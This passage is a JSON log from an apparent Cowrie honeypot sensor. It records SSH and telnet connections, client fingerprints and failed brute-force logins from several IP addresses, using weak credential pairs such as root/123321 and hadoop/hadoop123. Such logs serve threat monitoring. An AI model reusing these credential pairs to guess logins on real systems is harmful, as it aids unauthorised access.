0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:57.445387Z","src_ip":"176.65.132.254","session":"901b682b564d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47434,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b5ff88a1a5d","protocol":"telnet","message":"New connection: 134.209.8.29:47434 (159.203.135.109:23) [session: 2b5ff88a1a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:57.651219Z"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:57.699203Z","src_ip":"176.65.132.254","session":"901b682b564d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.3956193923950195,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:58.750071Z","src_ip":"38.54.119.93","session":"54716937afbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:58.784800Z","src_ip":"176.65.132.254","session":"901b682b564d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.26296830177307,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:58.918608Z","src_ip":"62.210.97.77","session":"69a1f552f3b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44020,"dst_ip":"10.17.0.5","dst_port":22,"session":"be911f40780c","protocol":"ssh","message":"New connection: 176.65.132.254:44020 (10.17.0.5:22) [session: be911f40780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:01.263118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:01.267997Z","src_ip":"176.65.132.254","session":"be911f40780c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:01.350608Z","src_ip":"176.65.132.254","session":"be911f40780c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.14213252067566,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:01.363171Z","src_ip":"134.209.8.29","session":"4105dea44195","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:01.745847Z","src_ip":"176.65.132.254","session":"be911f40780c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.99.212.219","src_port":36920,"dst_ip":"159.203.135.109","dst_port":22,"session":"38dff943f439","protocol":"ssh","message":"New connection: 39.99.212.219:36920 (159.203.135.109:22) [session: 38dff943f439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:02.681970Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:02.838286Z","src_ip":"176.65.132.254","session":"be911f40780c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60360,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad2ab2bdf576","protocol":"telnet","message":"New connection: 62.210.97.77:60360 (10.17.0.5:23) [session: ad2ab2bdf576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:02.977116Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60362,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f4d77b6e51","protocol":"telnet","message":"New connection: 62.210.97.77:60362 (10.17.0.5:23) [session: 24f4d77b6e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:03.610668Z"}
{"eventid":"cowrie.session.closed","duration":44.90773129463196,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:04.496317Z","src_ip":"38.54.119.93","session":"a1d5495aa712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.723304748535156,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:04.598580Z","src_ip":"65.60.27.33","session":"b38f001fa78d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50838232040405,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:04.702796Z","src_ip":"62.210.97.77","session":"0e994a321f1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47466,"dst_ip":"10.17.0.5","dst_port":22,"session":"edb615e24c99","protocol":"ssh","message":"New connection: 176.65.132.254:47466 (10.17.0.5:22) [session: edb615e24c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:05.178686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:05.183958Z","src_ip":"176.65.132.254","session":"edb615e24c99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:05.266975Z","src_ip":"176.65.132.254","session":"edb615e24c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:05.545162Z","src_ip":"176.65.132.254","session":"edb615e24c99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60366,"dst_ip":"10.17.0.5","dst_port":23,"session":"533b5825365a","protocol":"telnet","message":"New connection: 62.210.97.77:60366 (10.17.0.5:23) [session: 533b5825365a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:06.591140Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:06.653742Z","src_ip":"176.65.132.254","session":"edb615e24c99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47484,"dst_ip":"10.17.0.5","dst_port":22,"session":"03b9da1d7107","protocol":"ssh","message":"New connection: 176.65.132.254:47484 (10.17.0.5:22) [session: 03b9da1d7107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:09.086050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:09.090707Z","src_ip":"176.65.132.254","session":"03b9da1d7107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:09.172828Z","src_ip":"176.65.132.254","session":"03b9da1d7107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:09.442539Z","src_ip":"176.65.132.254","session":"03b9da1d7107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:10.556243Z","src_ip":"176.65.132.254","session":"03b9da1d7107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42710,"dst_ip":"10.17.0.5","dst_port":23,"session":"d68ce25e6c0d","protocol":"telnet","message":"New connection: 62.210.97.77:42710 (10.17.0.5:23) [session: d68ce25e6c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:11.555631Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42718,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1616e01aff7","protocol":"telnet","message":"New connection: 62.210.97.77:42718 (10.17.0.5:23) [session: e1616e01aff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:12.584686Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57626,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71e7f4d6f9e","protocol":"ssh","message":"New connection: 176.65.132.254:57626 (10.17.0.5:22) [session: a71e7f4d6f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:12.870667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:12.875724Z","src_ip":"176.65.132.254","session":"a71e7f4d6f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:12.957757Z","src_ip":"176.65.132.254","session":"a71e7f4d6f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:13.242967Z","src_ip":"176.65.132.254","session":"a71e7f4d6f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42730,"dst_ip":"10.17.0.5","dst_port":23,"session":"77dfd511d887","protocol":"telnet","message":"New connection: 62.210.97.77:42730 (10.17.0.5:23) [session: 77dfd511d887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:13.899130Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:14.337750Z","src_ip":"176.65.132.254","session":"a71e7f4d6f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34886,"dst_ip":"10.17.0.5","dst_port":23,"session":"248e2ab0c6b8","protocol":"telnet","message":"New connection: 65.60.27.33:34886 (10.17.0.5:23) [session: 248e2ab0c6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:14.587440Z"}
{"eventid":"cowrie.session.closed","duration":34.387927770614624,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:15.320550Z","src_ip":"62.210.97.77","session":"733fd94f1d66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42742,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9409042e327","protocol":"telnet","message":"New connection: 62.210.97.77:42742 (10.17.0.5:23) [session: b9409042e327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:16.137629Z"}
{"eventid":"cowrie.session.closed","duration":34.876763582229614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:16.144037Z","src_ip":"62.210.97.77","session":"a5147b34beaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76664400100708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:16.166878Z","src_ip":"62.210.97.77","session":"a9a985524297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57636,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ba52b78ecd2","protocol":"ssh","message":"New connection: 176.65.132.254:57636 (10.17.0.5:22) [session: 6ba52b78ecd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:16.840444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:16.845024Z","src_ip":"176.65.132.254","session":"6ba52b78ecd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:16.939276Z","src_ip":"176.65.132.254","session":"6ba52b78ecd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:17.241991Z","src_ip":"176.65.132.254","session":"6ba52b78ecd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":49846,"dst_ip":"10.17.0.5","dst_port":22,"session":"11d9e21e4285","protocol":"ssh","message":"New connection: 190.129.122.12:49846 (10.17.0.5:22) [session: 11d9e21e4285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:17.462523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:17.467140Z","src_ip":"190.129.122.12","session":"11d9e21e4285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:17.634817Z","src_ip":"190.129.122.12","session":"11d9e21e4285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.04558444023132,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:18.190322Z","src_ip":"62.210.97.77","session":"bbfabd3cdac6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"test","message":"login attempt [vbox/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:18.335423Z","src_ip":"190.129.122.12","session":"11d9e21e4285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:18.340270Z","src_ip":"176.65.132.254","session":"6ba52b78ecd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39808,"dst_ip":"10.17.0.5","dst_port":23,"session":"368502d87d79","protocol":"telnet","message":"New connection: 65.60.27.33:39808 (10.17.0.5:23) [session: 368502d87d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:18.669908Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:19.505365Z","src_ip":"190.129.122.12","session":"11d9e21e4285","protocol":"ssh"}
